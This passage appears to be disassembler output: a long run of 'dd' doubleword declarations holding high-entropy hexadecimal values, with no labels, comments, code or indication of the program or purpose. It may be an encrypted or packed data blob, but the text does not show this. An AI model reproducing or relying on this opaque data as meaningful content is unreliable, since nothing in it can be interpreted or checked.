		dd 0BE0F88F6h, 8F14C879h, 78310112h, 36985632h,	0D65D459h
		dd 3F10909Fh, 0D14800DAh, 1A6438E6h, 6AB35D58h,	24A3C410h
		dd 0BC087488h, 89C681BEh, 3E40202Ah, 0D6722309h, 20E8EA0h
		dd 58D30Bh, 4DB296A0h, 0F618513Ch, 0A85AC298h, 4ADEB2ECh
		dd 89E0ADFDh, 5F85CCB1h, 685460A2h, 95C41605h, 5604CDC1h
		dd 7544BA55h, 0CE900736h, 2DD3AEEFh, 0EBFCECF8h, 78477C92h
		dd 0A0725552h, 6205FC40h, 67693F0Dh, 4AC17A3Bh,	0FA04F5D4h
		dd 0B68C202h, 0E424EC7Ah, 2506E030h, 0C9DBD131h, 13CA010Ch
		dd 54575C59h, 37B9E34h,	0EC3638F5h, 26F5C1B7h, 0B0A82B01h
		dd 56A81FD6h, 0C951509Ch, 25D35F1Ch, 0BDF494DFh, 7E2704E4h
		dd 0ADFB47F5h, 893C21FEh, 79394D7Ah, 23EF6F94h,	0E966FBA0h
		dd 0A1AB4D49h, 0FAB1A4DBh, 273AEC1Ch, 0F9F62DC1h, 1EC7D79h
		dd 4CD190F2h, 0BFA57AABh, 0EEEA3BD8h, 1DFB2D64h, 33A251A0h
		dd 0F1FC3731h, 0CA571F0Bh, 7483D02Ah, 43162620h, 907264Ah
		dd 0A0F029EFh, 6E02EB35h, 68517B47h, 21A04CC0h,	0E1810059h
		dd 0A5C151Ah, 44633CE9h, 0F7C80924h, 0A55EAA82h, 0EB09E1DCh
		dd 8A25204Dh, 0F412A948h, 32456409h, 972AF35Ch,	74C486F8h
		dd 4C85A611h, 5EF3C6BCh
		dd 19EB0112h, 57E96E92h, 0CB1D9DFCh, 1A5313D3h,	5C3D801h
		dd 0E6BF5736h, 840204Ch, 86D27E9h, 700946E5h, 341CF542h
		dd 4F98565Bh, 72A32CE9h, 49D04166h, 4305C8FBh, 296C7518h
		dd 2D7F5730h, 165E769Dh, 0CE814607h, 14624931h,	14FDEC20h
		dd 0F957D94Bh, 0D217A004h, 1F99A047h, 926DD12h,	8AFEEC12h
		dd 29A700B6h, 25E969E0h, 0BA98D23Eh, 0D05BB1CAh, 70B2E9BAh
		dd 89165D9Ah, 57F15DEEh, 2F731440h, 1970F3FDh, 376D009Ah
		dd 0E9D12976h, 71BFE41Ch, 0D9C9CF9Ah, 0DA5FAB25h, 160048E7h
		dd 0D62C4880h, 31424E8Eh, 3C10ABE3h, 5F3AC198h,	94282937h
		dd 1E845ECBh, 0B55100F8h, 90C5FE9Bh, 0FC7B48F0h, 0BA5A5484h
		dd 0E98393B3h, 673BEDC7h, 0FF2292E3h, 267B46F7h, 0A709B8FCh
		dd 9CC75C74h, 63A77D9h,	131D158h, 728C9CF1h, 5D6CDF8Bh
		dd 0D4A19A66h, 78D7EC74h, 0BACB00BFh, 48656DF4h, 0A117DCB2h
		dd 17C2EC7Eh, 463813BDh, 9ED78283h, 0E6FB10Ch, 0EA12A749h
		dd 324F2ECBh, 75749B4Fh, 1966C62Dh, 2103E868h, 3E7335FBh
		dd 68B076A9h, 0FA764C43h, 0BF8807B6h, 8B581D9Bh, 0B857C596h
		dd 2568564Ah, 98597C9Dh, 45C23293h, 0A757C021h,	0F97782ECh
		dd 0D5845202h, 0DE590BADh, 0CADA9E5Ch, 0A22278h, 7039940Dh
		dd 992C6817h, 8FC02A4Bh, 9536673Ch, 730000DAh, 2D53F278h
		dd 7DD5F4FDh, 64C14BA9h, 0A79AAAD0h, 32044627h,	6F60EE5Eh
		dd 0E3FFFE34h, 0EE129700h, 1EB9025Eh, 139F613h,	0E6D159A6h
		dd 81F12346h, 65D4E58h,	3CE253Bh, 5638C5CFh, 0C41C9CBEh
		dd 0B9A88313h, 0FAFA54Dh, 0EB236A05h, 9AAF066h,	6DDD36ADh
		dd 173BFDFCh, 0A64A036Fh, 0EB3408C3h, 1A4FC708h, 6C608BBBh
		dd 8D9093C3h, 5A6B1720h, 47438766h, 3C686150h, 0ABC87B2Ah
		dd 2C549420h, 0A8B85A84h, 8080F0A5h, 517803EFh,	52FC8850h
		dd 0C077E69Ah, 9515E932h, 0FABF7A80h, 3A60557Ch, 68328250h
		dd 31FC9518h, 13678439h, 1A97B29h, 1D2BCF03h, 30004A2Ah
		dd 22E3ABD6h, 2FE9F929h, 891213EBh, 56A6E780h, 6813378Eh
		dd 59E35E6Fh, 0B9DDB170h, 7267420Bh, 854F42Eh, 494F9626h
		dd 0A959E5E8h, 57C87105h, 81BE5F50h, 64304DB8h,	63FCC7F7h
		dd 5D798612h, 0C25394AAh, 3559829Fh, 0F0CBEEA6h, 0E4C32C74h
		dd 99EE406Bh, 5771FE15h, 66FDBF04h, 9EA5F8Bh, 0E0FD0827h
		dd 13C9878h, 70EFE381h,	0C64B7B48h, 0FC60F1CAh,	0DD0C190Ch
		dd 54DF210Bh, 7C7A0CEFh, 0E2E0FC5Ch, 7BFA4B02h,	0D54E1BE9h
		dd 0CA28AF67h, 0F2CC7497h, 148901F4h, 4A0310BAh, 5EDD054Fh
		dd 0BF5BDE29h, 0B0BCE94h, 0BFDD959h, 0C0F00EE9h, 914A50B5h
		dd 0D44E4C5Bh, 3E143A18h, 82225D4h, 0DD290542h,	2F0AED01h
		dd 0CBA23FAh, 0A2C06D1Ch, 4DD36C01h, 13F82E9h, 311F5167h
		dd 3BEE4BF5h, 4AC6AC2Eh, 0F72C0C16h, 0DD029AD5h, 80527910h
		dd 0BCF28882h, 0CD2124F5h, 2AE23AD4h, 0B5CB4826h, 4162E9C8h
		dd 17B0A276h, 0D70CEEEh, 0E04CD697h, 1E146605h,	0BD192490h
		dd 0F8022965h, 94078FF2h, 1A1D5211h, 0DD70432Eh, 51534702h
		dd 2ED163C1h, 0C9308A2Dh, 57EF4E37h, 0B664243Bh, 1A68C27Bh
		dd 8DE35176h, 7E7415EDh, 1C087612h, 80368F87h, 762AD49h
		dd 0E92B01D7h, 77C2E228h, 50C94751h, 7B082C08h,	785B715Fh
		dd 453FB13Ch, 68E01184h, 1365E2AEh, 78AA0144h, 0A968E96Dh
		dd 2703E53Fh, 0D93D8A1Fh, 494869A6h, 0A3435F53h, 62F478B7h
		dd 422F4E16h, 2200BBCh,	5F384B0Eh, 2E42DE7Ch, 60178520h
		dd 2DDD45B7h, 79C8D4D3h, 4BB9CBB8h, 1786A402h, 3CE0473h
		dd 0C176F780h, 0EF3C32D2h, 92E7A9D6h, 0D01DAEEh, 1D5E5FE9h
		dd 2211D8h, 0BE5618D5h,	76263CF6h, 3804D4F9h, 0E97EDD05h
		dd 0C698A24Bh, 0B3EF4B5Bh, 569D1705h, 962062C9h, 2728F26Dh
		dd 12D22143h, 0B928C0B0h, 0A07E499Fh, 5F514D14h, 16B8244Ah
		dd 0C191C3A7h, 0B26FB31Ah, 0E2EB8833h, 54C240E9h, 0F2F02564h
		dd 0BBF4F441h, 969E9FEEh, 6996D197h, 0E9C91857h, 53C15C87h
		dd 1722F85h, 826AF640h,	1743EC44h, 0BE4034B6h, 5A9CF727h
		dd 0CC5A87Bh, 0DE18AF2Dh, 66A124E9h, 74C58132h,	20593410h
		dd 604BFDC0h, 98BD2224h, 6DCC68C2h, 9525E5D5h, 36149201h
		dd 1DDEBDA2h, 0F4C82DDCh, 47C4208Fh, 98602E34h,	3B17BC09h
		dd 8A09CF29h, 26FCE6F8h, 1998D8F7h, 2A0FAE5Ch, 0F802D7ADh
		dd 971E266h, 0A681998h,	809C395Dh, 77A46681h, 886E26E9h
		dd 37B34118h, 0D8897BE0h, 0A2FD56FCh, 5094FFD1h, 0B4EB5FCh
		dd 625AE982h, 0B3A47F48h, 8932A25Eh, 44B90050h,	55872C0h
		dd 3FBBA005h, 47B88Dh, 0E0685653h, 3B279077h, 2E85515Eh
		dd 0B720334h, 2A6237A3h, 40EA12C0h, 790C7520h, 84F70F08h
		dd 31255755h, 0E47B25FDh, 504D81Fh, 220326D4h, 0D4020A83h
		dd 4E2DCBEAh, 68A1D2B8h, 0DE597CB3h, 0C21B021Ah, 76187840h
		dd 5F162457h, 82E682FDh, 0C155EEC0h, 0C6E4C353h, 91E924A9h
		dd 5FB78FE8h, 0D020CFA0h, 74B8C0E7h, 342D51FEh,	7206DE01h
		dd 0B09BE6FFh, 10120519h, 0D401745Fh, 74081761h, 9DBCD073h
		dd 0E6BD0127h, 3387A45Ah, 0F56503FCh, 45E93D0Dh, 0D312E2Ch
		dd 0BE9B007Bh, 378F17EBh, 3FD9894Ah, 12681320h,	0F03B2930h
		dd 0B703B01Ch, 12E98D47h, 0AEB285A4h, 0FCC280C0h, 276EAC0h
		dd 12C95DE6h, 0EBB70243h, 6354078Fh, 8A5B107Eh,	39234780h
		dd 51075875h, 9206327h,	206551AEh, 9AFA013Eh, 0D0D1F976h
		dd 8137FCC3h, 0DCDD7029h, 9F153958h, 6C672B44h,	7BC081FBh
		dd 4826915h, 579717C4h,	66531B8h, 12E1C006h, 275BB537h
		dd 0CD8029BCh, 1745422Dh, 16DDF72Eh, 5C373C3Fh,	90D917F1h
		dd 897130AAh, 1C4A0C35h, 8650F48Ah, 0C130177Ah,	2F448B5Ah
		dd 5E0F0BF0h, 0A0DDE408h, 892E5ACFh, 3C1814C5h,	5C9BE28h
		dd 297F236Dh, 7BEB21F7h, 9EEE7240h, 1628DFCCh, 62821F2Dh
		dd 0E0D4E732h, 81635347h, 0F1C7015Ch, 31F604Ch,	2EF57A50h
		dd 1BED836Bh, 504BB595h, 6CAECD55h, 429550FCh, 172A44C3h
		dd 4E9D41E9h, 0BD54D3CAh, 3FE6D63Fh, 2A1FF66h, 1EDE63BFh
		dd 2D92DDB3h, 465D804Ch, 0E52880C0h, 99586663h,	87FC0131h
		dd 56D2F7D6h, 919C8852h, 585F0B65h, 55D380FDh, 9D67FE1Ch
		dd 8803F52h, 6F9E14E9h,	0BCC1290Fh, 0D50927AEh,	47C9C81Eh
		dd 0D6015840h, 0C11B88E4h, 0CC19F10Bh, 65E89161h, 0FE681E34h
		dd 40E6B579h, 0E2F827Fh, 7B63F62Dh, 1E577510h, 47F2BF00h
		dd 0C7811585h, 48053C90h, 64236820h, 0BC54A5CCh, 575162F2h
		dd 72DE7540h, 0DC454427h, 0DFF7091Ah, 749D9980h, 0B496396Bh
		dd 9D4E902h, 88C65F01h,	98582727h, 0B953D9E4h, 0BD7A431h
		dd 167F4446h, 62CF113h,	8572ED4Bh, 0C5942888h, 540CA81h
		dd 50F899E4h, 9F58B9F7h, 118B485Bh, 8064F00Dh, 262682B9h
		dd 80337773h, 359BCC70h, 5C5BA2E9h, 8A01A62Ch, 0E120A4DDh
		dd 294E68ACh, 0C7923AB9h, 0A4097D7Ch, 7625FB56h, 9367C231h
		dd 3C7FC920h, 0B7795863h, 0FF158F05h, 0DA00AF6Eh, 665124EFh
		dd 9A529069h, 0EC203C32h, 12C0599Dh, 653EE808h,	57B2651Eh
		dd 0F2636185h, 10604840h, 0A04A6862h, 2F4B6CF8h, 713AEDD1h
		dd 4804AE67h, 0B37D767Ch, 0F75D7CAAh, 0F6D012DDh, 64E1EB21h
		dd 36FD6800h, 2DBC2091h, 0C2ED76E5h, 0AF940CC8h, 50EB0100h
		dd 0B126DEB8h, 0F7911C7Fh
		dd 3F25C0D1h, 5676C2Dh,	2562FF3Ch, 0F79C404Eh, 0AA97A1D0h
		dd 900145D8h, 62F80940h, 62F5844Ch, 422A5437h, 53D122C9h
		dd 3C0E0C44h, 0BB4F381Ch, 0C26ED929h, 70729D71h, 23541009h
		dd 9AF30051h, 5F50953Eh, 1FFC429h, 4BE95F08h, 0F14B65E3h
		dd 2A8AE1FFh, 6BC6F240h, 0A88E560Ch, 0BF1BC9C0h, 0F49858E6h
		dd 0A7A41991h, 4B191F02h, 61FEE258h, 0F1100302h, 8C9874EBh
		dd 2E298C97h, 5E08F223h, 41EFA944h, 0F20C2108h,	18AB5F09h
		dd 5428B0F7h, 0E8015B22h, 1D9EA189h, 0BE093692h, 3E3177C0h
		dd 493D7E08h, 50217ABh,	634C4394h, 9662B6C0h, 52C68880h
		dd 0B1C1B858h, 8DB050D0h, 1AD913A2h, 93A7BD3Bh,	4A12F6B2h
		dd 2D14EDFCh, 4B0650F2h, 0B22700A4h, 2E2C038h, 2086534Ch
		dd 0FEE92F7Ah, 0FD884EA3h, 595DEE92h, 0EC804159h, 8206809Dh
		dd 0E952F428h, 983A5C2Bh, 0E8970BDEh, 716FB8DDh, 0E9079E03h
		dd 0BC9520F5h, 0C121551Ch, 0BA52A10Ch, 0AE78202Ch, 35A88082h
		dd 0F6128E11h, 3BBC4815h, 0C72CAA96h, 17D12468h, 64DDC4A4h
		dd 0F35F6BA6h, 20DB4CB2h, 0EB801C2Bh, 8CDC1E8Eh, 0ECDD1308h
		dd 39685D81h, 43DBF709h, 3A2D56C3h, 50D94819h, 99747013h
		dd 4BB00BE7h, 50082431h, 3E11BF8Fh, 0C2774224h,	0CF4C3003h
		dd 334C2029h, 8913014Fh, 48FDC0Bh, 72943E8Bh, 68A006F8h
		dd 18BF480Ah, 0A8E1EEDEh, 2765B03Bh, 19DEC308h,	0A8E9C704h
		dd 0F85BE3ACh, 7EA081B6h, 0C8DB6F85h, 4A7F9D22h, 0C10A801Fh
		dd 0CBF806EBh, 82609A0Ch, 90081259h, 0A5EA4E5Bh, 836D68F3h
		dd 5896F0h, 4769F248h, 0F189516Eh, 62B821E5h, 0E801C5BBh
		dd 883E9799h, 1600D5FCh, 3A2D64F5h, 0EA122449h,	0D0CD0D97h
		dd 2CD00152h, 8833C871h, 85282059h, 5EBACE38h, 0AFF5FD29h
		dd 0EBA4856Eh, 0EF54868Bh, 0B859536Eh, 0D2106258h, 1070483Ah
		dd 680935E4h, 0B27503DEh, 1B657574h, 0BCFFBAFh,	0FC6011E9h
		dd 9F0FED81h, 6A70DC40h, 8D375E12h, 71859292h, 33FB2362h
		dd 0A0C763FCh, 68C32914h, 45B3197Fh, 0D177E080h, 48F7587Fh
		dd 815D7D8h, 0E600FDCFh, 14685502h, 0B898DCAAh,	0BA52FC27h
		dd 0CDC77582h, 240A1A0h, 65460CBFh, 7F263CE7h, 44747A0Eh
		dd 64BBD383h, 0A0C3849Fh, 33B83123h, 0D1C9CDF6h, 54917E50h
		dd 5ACBEB06h, 0B0C7094h, 3E982944h, 802B9CAh, 968EADE9h
		dd 58E62801h, 0CE872A59h, 0EC800A34h, 9FC6E9C9h, 82AC3985h
		dd 46756CC6h, 0BE42412h, 0E5FDC2D7h, 478E4F7Eh,	627F8BDBh
		dd 8E98573Fh, 56120368h, 13045BBBh, 2D8AB9BAh, 0D807FB4Bh
		dd 63084B0Ch, 104BDC3Bh, 0D947F6C0h, 0C3FDF335h, 0D84BE23Fh
		dd 27157EFAh, 0DA40113Ch, 0EEC4359Eh, 0C1EF425Fh, 0D350EA6Bh
		dd 19FAEABEh, 689A119Fh, 0F36E75CDh, 98E9A098h,	0FAFBB42Ch
		dd 12ADF27Dh, 564276E9h, 0A205978Ah, 879A36DBh,	856B68D7h
		dd 0E6479DE5h, 4B57E25h, 0E9BBC5E9h, 3F235709h,	0D39AD4C7h
		dd 2E4C434Ch, 311E0E05h, 0BE38DB52h, 0C5150426h, 0E37CE90Dh
		dd 93178EEh, 7989B354h,	4B5CD6Eh, 288BFE9Ah, 4E70E85Ah
		dd 13EF0B2Ch, 0B00F993Ch, 500E853h, 6A3EF835h, 4A17E96Ch
		dd 2E8F2972h, 2A5EFC04h, 12D22CD5h, 2759D4D1h, 5552AED1h
		dd 9B212EC4h, 96F5A769h, 6AC8174h, 72688E4Ch, 6234948Bh
		dd 45FD5A4Ch, 0B1A20CAFh, 8909C381h, 6A3F256Dh,	0E90801DCh
		dd 26895126h, 61DF5A5Bh, 0D06EF2C1h, 92BF575Dh,	5E044C26h
		dd 1EDBE700h, 5AE94AC1h, 0E9CC1794h, 0D72218A8h, 26B7C26Fh
		dd 0B8E6E7Ch, 107FE46Bh, 0C9EB5F6Ch, 0EC87460Eh, 1BA917D2h
		dd 4FF59C5Fh, 4538AA29h, 1B69633h, 0F8F97DBFh, 0DEE260E0h
		dd 328C5813h, 0B96C4AAh, 948B5B08h, 0D268AE21h,	0CD386A0Bh
		dd 1E716C6h, 0D6530A3Ch, 0D099178Ch, 6E6A0DD3h,	30B82FFDh
		dd 610ACD00h, 0DEE95801h, 85305358h, 69A515BCh,	2FB7F13Fh
		dd 0C4E1BBA8h, 9DF26A6Dh, 123FEC92h, 0CA567868h, 4EEE2FABh
		dd 0B31744AFh, 0D30500E3h, 4B732D7Ah, 85D1025Ah, 0BA005289h
		dd 0AA17497h, 5B2BE919h, 71D90273h, 91E2159Eh, 0FCC330C1h
		dd 6602B77Ah, 90E9DF89h, 1CBC8B29h, 697C2FE1h, 133D5ADBh
		dd 9C3437EFh, 0D3D0F6EAh, 0FE9AAD0h, 0C0189F29h, 0B7804B5Ah
		dd 0EF8006E2h, 4DFF65Fh, 7A7AF7EEh, 517CC717h, 3ECEC7E0h
		dd 0EE8F5B59h, 52F2E9E8h, 0B2F1049Ch, 0ADBE00E5h, 0BD12676Eh
		dd 6685AAA0h, 0F0EB6DF1h, 0E2BDC84Ch, 45F064h, 2C5AD788h
		dd 4F82814h, 0FF16F9E9h, 15F21C4Bh, 56E2407Dh, 31FEBE00h
		dd 83BD716Fh, 860E1258h, 60705229h, 5E535F4Dh, 0D55F367Eh
		dd 1ED6B61h, 0E995F014h, 0EEE58D25h, 0D1D8B720h, 0E740F9FCh
		dd 3842268Fh, 4A6F1005h, 0C181E7C1h, 247EAB2Dh,	83ECF948h
		dd 0E7DC2DD8h, 4AE2AE93h, 599DDD70h, 96BE42A7h,	0AFAF395Eh
		dd 10BB66DBh, 4DE50F17h, 2B67876h, 0E732B4B6h, 5DEA2FC0h
		dd 272F519Fh, 4864B6DDh, 40749752h, 90EBADFh, 920AEA4Ch
		dd 0E17C0BFEh, 0B22CC9D6h, 138BB887h, 0D9536553h, 0D292F02Eh
		dd 2C1FE229h, 82B217E7h, 0CB495CF2h, 3EB443F9h,	68095FFCh
		dd 0B9A452Ch, 9F48C87Fh, 6EE2B7Dh, 1CAC32D0h, 2C25BB58h
		dd 2A1A5D49h, 5160547Eh, 0B862B353h, 0E9710861h, 0BB01F856h
		dd 78BC2595h, 17F2037Ah, 0C0414C6h, 5C4EA5ABh, 0B0BA82FEh
		dd 0C10BB1F6h, 407E58E2h, 5B9F5A53h, 0A8E5B439h, 10E9F127h
		dd 5EEF0B3Ah, 0C200DA97h, 12A7741Bh, 79680153h,	5B58B93Ch
		dd 0C825DC57h, 5FD39A02h, 0DAA315E9h, 0E51E2029h, 0C6BC3AF9h
		dd 2F97B1B4h, 0DABE0D0Bh, 40CCBD61h, 63FEE880h,	0FBF5A0E1h
		dd 0A9356830h, 4A6DF78Fh, 3B53B1ECh, 4FE9C7A0h,	0B112C065h
		dd 563A04BDh, 0AF8EA651h, 5E260710h, 959149ADh,	276468B4h
		dd 2D905D5Dh, 7C9E4D1Bh, 0B1EDE8Eh, 58185A70h, 4725215Fh
		dd 0C7263B5Ah, 0D212FC86h, 0AC4A53F8h, 9BD05B95h, 1E741F78h
		dd 0BBD556Ah, 9804F250h, 2580BFE5h, 0BC7453Ah, 34E3E974h
		dd 2783A2E8h, 2F6FA42Ch, 0D3E2963Eh, 5A30C390h,	0A8435BCDh
		dd 0D4A05EF8h, 6338189Fh, 2A71963Eh, 0C07F5481h, 41160243h
		dd 8305583Ah, 0E9A7BEEAh, 89B2D4DFh, 0B517BA62h, 3F4AA0E8h
		dd 29244282h, 94C309B5h, 4140B039h, 0E674882Dh,	1BB100C3h
		dd 5266C9FEh, 52CA1A1h,	60559662h, 24321D75h, 20D549Ch
		dd 69E34F79h, 74C6E05Dh, 6231300Fh, 19148A0Ch, 0F21A3360h
		dd 14355D96h, 0F4D58929h, 5CDA4075h, 7A705C97h,	0BEF4336Ah
		dd 0E02BE2h, 559CB31h, 0F66A8102h, 54D82956h, 68BF50B2h
		dd 727E6303h, 27F396E9h, 0EF80093Ah, 65E13F6h, 0AF2F327Eh
		dd 1E5E4DBEh, 41DE5ECh,	0E954C430h, 1232709h, 6E7F31F7h
		dd 0E7F6C135h, 0A472492h, 8BE7388Fh, 0F4D93999h, 877B14BFh
		dd 3DD1A595h, 450D651Ah, 2B9CFE1Fh, 0D97704ABh,	49440164h
		dd 7755AC1h, 1A5E4FF2h,	910BFB71h, 6CC4ED51h, 0CFF71FEFh
		dd 9B2588CAh, 0C2F1004Ch, 0A144A378h, 506E927h,	49BA3030h
		dd 0E766F985h, 1F42B722h, 0C29C1BEDh, 5DEB290Dh, 70F960DDh
		dd 0B8065A47h, 0B8921730h, 0CB010304h, 6513B6F6h, 0D68A6256h
		dd 0D0BD9CC9h, 0E485E20h, 8177756h, 17FC112Ch, 353F8C19h
		dd 56297EEFh, 3DA1D047h, 0D2600D59h, 0C5C4967Bh, 5928B017h
		dd 0BE5FD1FEh, 0A55E0660h, 0F2E5E728h, 1524D1D9h, 0B5422C52h
		dd 11A809CAh, 0BD8918D5h
		dd 0DF08AAE0h, 0BB20EF44h, 701295DEh, 0AEBF4F84h, 10563874h
		dd 25C00BBAh, 0D1807E2Fh, 4066BB10h, 0BBD0F724h, 6BAA8204h
		dd 24E9F8E0h, 0C00B1EA3h, 1D727805h, 854BAB7h, 0C602A40Ch
		dd 0F42D9540h, 160810B6h, 3DB5860h, 0C466E75Eh,	6803FDFEh
		dd 0EB101B3Eh, 571F06CDh, 385B0156h, 2F5E7428h,	7343EE07h
		dd 0B5F558DCh, 0F71A360Ch, 2E6BA63Fh, 6C251B2Bh, 3D25B677h
		dd 8181081h, 6B0C875Dh,	32A61B6h, 4D3DA1B8h, 3264B6CCh
		dd 59E64C29h, 14969290h, 1754308h, 90CC87Ch, 0A3A938E9h
		dd 90178D84h, 2D4E684Eh, 0DBED189Dh, 0E78180F5h, 861DAB0Eh
		dd 3BCFC30Dh, 5647C94Dh, 7FB4320h, 0F71AB307h, 0D525DDh
		dd 0C3786EC1h, 6590092Ah, 0CDD17024h, 0B7D90FC9h, 2656FF1h
		dd 0BE6A3C7Fh, 5B8DCA4Ah, 953DE6E2h, 5D6B09F4h,	0E372DFB8h
		dd 3A056680h, 291D3551h, 0E2DD8F8h, 75AC6E9h, 0D601E892h
		dd 0EE8100C1h, 0E45A8ABEh, 130989B8h, 554C4E16h, 5081328h
		dd 0A006FCE9h, 5390E519h, 0B73FEC20h, 0B6FF5D3h, 2CC4218h
		dd 0C6F62780h, 5EB3FC59h, 7EF49D0Bh, 0EECA3656h, 7A3D625Fh
		dd 562802F4h, 711174B5h, 0D5123A26h, 0E9F185E8h, 5F232CC8h
		dd 0D8D28DE2h, 444EA281h, 19582E31h, 0B2100932h, 0BBB58DCh
		dd 0FC886BB1h, 63261Bh,	0D6F6CEFEh, 504990E9h, 7911173Ah
		dd 0FF3276BBh, 5627A193h, 8B3E5844h, 5A580AC7h,	387F8820h
		dd 91AB95Bh, 9EEE81A6h,	7DA02F84h, 57825350h, 25BE1471h
		dd 0D2D67A66h, 74F41430h, 69163605h, 293EA5Fh, 4468885Dh
		dd 0AE1B319h, 28B058A0h, 5ACC0E94h, 0EFC00E76h,	1C610395h
		dd 56FDC4C1h, 18804EC0h, 126C981Eh, 374BE1E9h, 464C57A3h
		dd 0CE86B03Ah, 0C524BB53h, 27FB0139h, 0E3E4760Bh, 0AFB5AC68h
		dd 6A631A71h, 5F71F607h, 8A65BE90h, 0C504310Ah,	20FFFB63h
		dd 2EF9FCF8h, 335FE9F7h, 80921F8h, 8000DBC3h, 0CBFE90EBh
		dd 5E31FC0h, 5EA73FF6h,	1C7ABC8h, 0FD7D2430h, 4451737h
		dd 47D7F798h, 766CD757h, 0E9300BD1h, 0C92D9FF2h, 568A2D5Dh
		dd 74383D70h, 71957014h, 5AFC6F32h, 7B5D0AA8h, 0E883C273h
		dd 0D90820E0h, 0B4515380h, 0E27D52C7h, 0A83B6388h, 4F1FE9CFh
		dd 250D8EC2h, 0A5C0794Ch, 30538819h, 4C0EC852h,	6CE97F1Eh
		dd 0B7191Fh, 0C0EFD0C4h, 0CF8007E7h, 0C7040A73h, 0BE1AE93Eh
		dd 0E0E91FDDh, 354C006Ah, 7E101451h, 0C87B3EEAh, 4BA1315Eh
		dd 3D804A45h, 25E9134Ch, 0BBDA2AB9h, 9F488275h,	2BC90242h
		dd 400FD719h, 27BF7B28h, 20FFEFDFh, 916A2AA5h, 5A78FC27h
		dd 24DDF3FDh, 5EA71DCAh, 0CB059C39h, 910002EDh,	69F1347Dh
		dd 813D1CDEh, 3C19BA21h, 7330EA09h, 0D39C8366h,	51C50222h
		dd 0E90B0995h, 6BC61439h, 0F005A4Fh, 43080FBEh,	5B85033h
		dd 28F04A29h, 6879533Fh, 0FF2F98A4h, 97DB9CA8h,	0B970BE5Ah
		dd 20481978h, 136B3D76h, 0FA075CE6h, 51646576h,	88450AFh
		dd 2584E24Ah, 0D7B142DFh, 54A1701Ch, 0BF0405h, 96B85041h
		dd 7F7C945Ah, 231CA20Ch, 9C28A484h, 1E37A6AAh, 1B9F84F2h
		dd 200802CEh, 4D1B40A0h, 3E5D8143h, 1D9AB6B0h, 40506344h
		dd 2B46483Ah, 2246855h,	336F5F70h, 4C3301BAh, 8041B21Ch
		dd 0B43FB84h, 16F12D10h, 6BBBD08h, 0C4495875h, 80251CECh
		dd 39B4DEA2h, 520560DAh, 54096768h, 775A07D2h, 94DB787h
		dd 9B0C450Ch, 99708512h, 4BB815E0h, 9FBEE3A2h, 9A23E889h
		dd 7BAC7A4Ch, 807F9E75h, 5A3C4E64h, 2A90EA87h, 0EF5847A2h
		dd 58B6294Ch, 0AFC34086h, 9E07E34Dh, 5FA0695Dh,	0B5A5BC57h
		dd 72FEA0B4h, 30C179C9h, 0BF761912h, 2771529Fh,	2D0B6EB8h
		dd 803EAC4Ch, 0A15F70CFh, 0B5009D29h, 0E26A36EFh, 5FF534Ah
		dd 8DE348EDh, 0E9A83A93h, 81919ADEh, 0CF4F00F5h, 631C2544h
		dd 1904A62h, 0E76039D2h, 8C2D3660h, 16F9C420h, 0BC6F6C2Ch
		dd 548501C6h, 0FE294291h, 8014821h, 983F095Fh, 870935D9h
		dd 7D6FFB67h, 6AD706E1h, 805ACE01h, 0B16E18F3h,	0D3C630F5h
		dd 0E916C8ECh, 0AB911B96h, 6AD0CDA0h, 5E5B7D51h, 0BA0582EEh
		dd 0FA7237C6h, 590D3248h, 525EC44Bh, 0E97230AEh, 35C9E840h
		dd 531387C5h, 1BFC395h,	6F6B822Ah, 87B12B08h, 4067DF08h
		dd 144E6813h, 71AA0E85h, 74F6E967h, 1F76B75Ch, 3D9AD74Ch
		dd 0E1DFAC8Dh, 1EF7F90Ch, 2883BE52h, 0E4D77A22h, 79462568h
		dd 0F380F5F1h, 0D141C778h, 0F5813BEDh, 20E3BC82h, 0BBECEF01h
		dd 13133ED2h, 73586E82h, 0FDA438B0h, 110093Ch, 0C15AA27Eh
		dd 0BA00A12Bh, 0A73D52FBh, 826D2756h, 0D5C53150h, 684269Eh
		dd 791F2D00h, 0CD055D3Ch, 94E3D28h, 0F5618A04h,	1EC2BE25h
		dd 27345E3Ah, 6EE02AD6h, 806C5F26h, 1F5F73D2h, 1768DAA0h
		dd 0AAF9C04Dh, 0D02C6529h, 16D2DAD3h, 14B8CDE9h, 0B0EF2E50h
		dd 29F73E63h, 0FB579412h, 0F681E220h, 0A6180A6Dh, 89CC567Dh
		dd 0CBD5575Eh, 9768B83Ch, 0A157C66Bh, 0B9360AD0h, 4AE264Ah
		dd 951744E1h, 0EC8B63h,	0FB48A568h, 28E95A3Eh, 0B58321BBh
		dd 55344006h, 0D69BF227h, 0F344C54Eh, 76CA04BCh, 5BA1199h
		dd 0CBFA8756h, 0CE364A4Bh, 1EE39522h, 106467A0h, 7CABEAA1h
		dd 0D15CDA82h, 0A238C281h, 1E0F25ECh, 0A9092548h, 0BB8127E6h
		dd 75527DA2h, 6B073AE1h, 404E6BC5h, 0E74EE450h,	4101E6BEh
		dd 0F6F07039h, 4CE2D65Bh, 5AF7A84Fh, 0EF257CE2h, 0A488EE0Bh
		dd 6655E952h, 58189012h, 0FA0283B9h, 530CE93Ch,	0DA4E1B5Dh
		dd 66BF0083h, 0D42FADAAh, 2C87A01h, 25A64D2Bh, 0FEA5574Fh
		dd 3FBDC25Fh, 97C3B800h, 0EBA04A62h, 0E283E50Bh, 7DF15519h
		dd 684106C8h, 0F27F7C17h, 0EC42C428h, 0C7C4AB16h, 34618BFEh
		dd 0B7806B02h, 1F735894h, 5BFA894Ch, 55973CE1h,	0BDA35653h
		dd 8F2DC060h, 9D314276h, 7043E42h, 7198BA5Eh, 5B968A0Fh
		dd 0E95CC79Eh, 0F14B3C22h, 0DFBD6BD6h, 0F184E890h, 0FDCCBBFEh
		dd 455EB5FDh, 1EE201AFh, 0B52022A5h, 63AEB641h,	0A54A7BE9h
		dd 46DB15E8h, 0B66A41C7h, 642C6B60h, 72D86915h,	6FDA8F0Bh
		dd 40FCF880h, 312453B0h, 422554FBh, 719D545Bh, 31163B50h
		dd 9F0F01EBh, 0F01BB260h, 0F1B5FACAh, 0D51A3C3Fh, 0C26428F1h
		dd 0FBB28D0Bh, 575900F2h, 174C7842h, 4E9D8AE9h,	43EEF712h
		dd 51814273h, 8AD5A7B5h, 20835382h, 0D2387761h,	5935236h
		dd 0AC74E8C3h, 0E924870Ch, 71A286D8h, 2DB99CF5h, 1A6E9D85h
		dd 4CC8212Dh, 9BDB2035h, 37457AA0h, 0F23F5781h,	0A1B8D30Eh
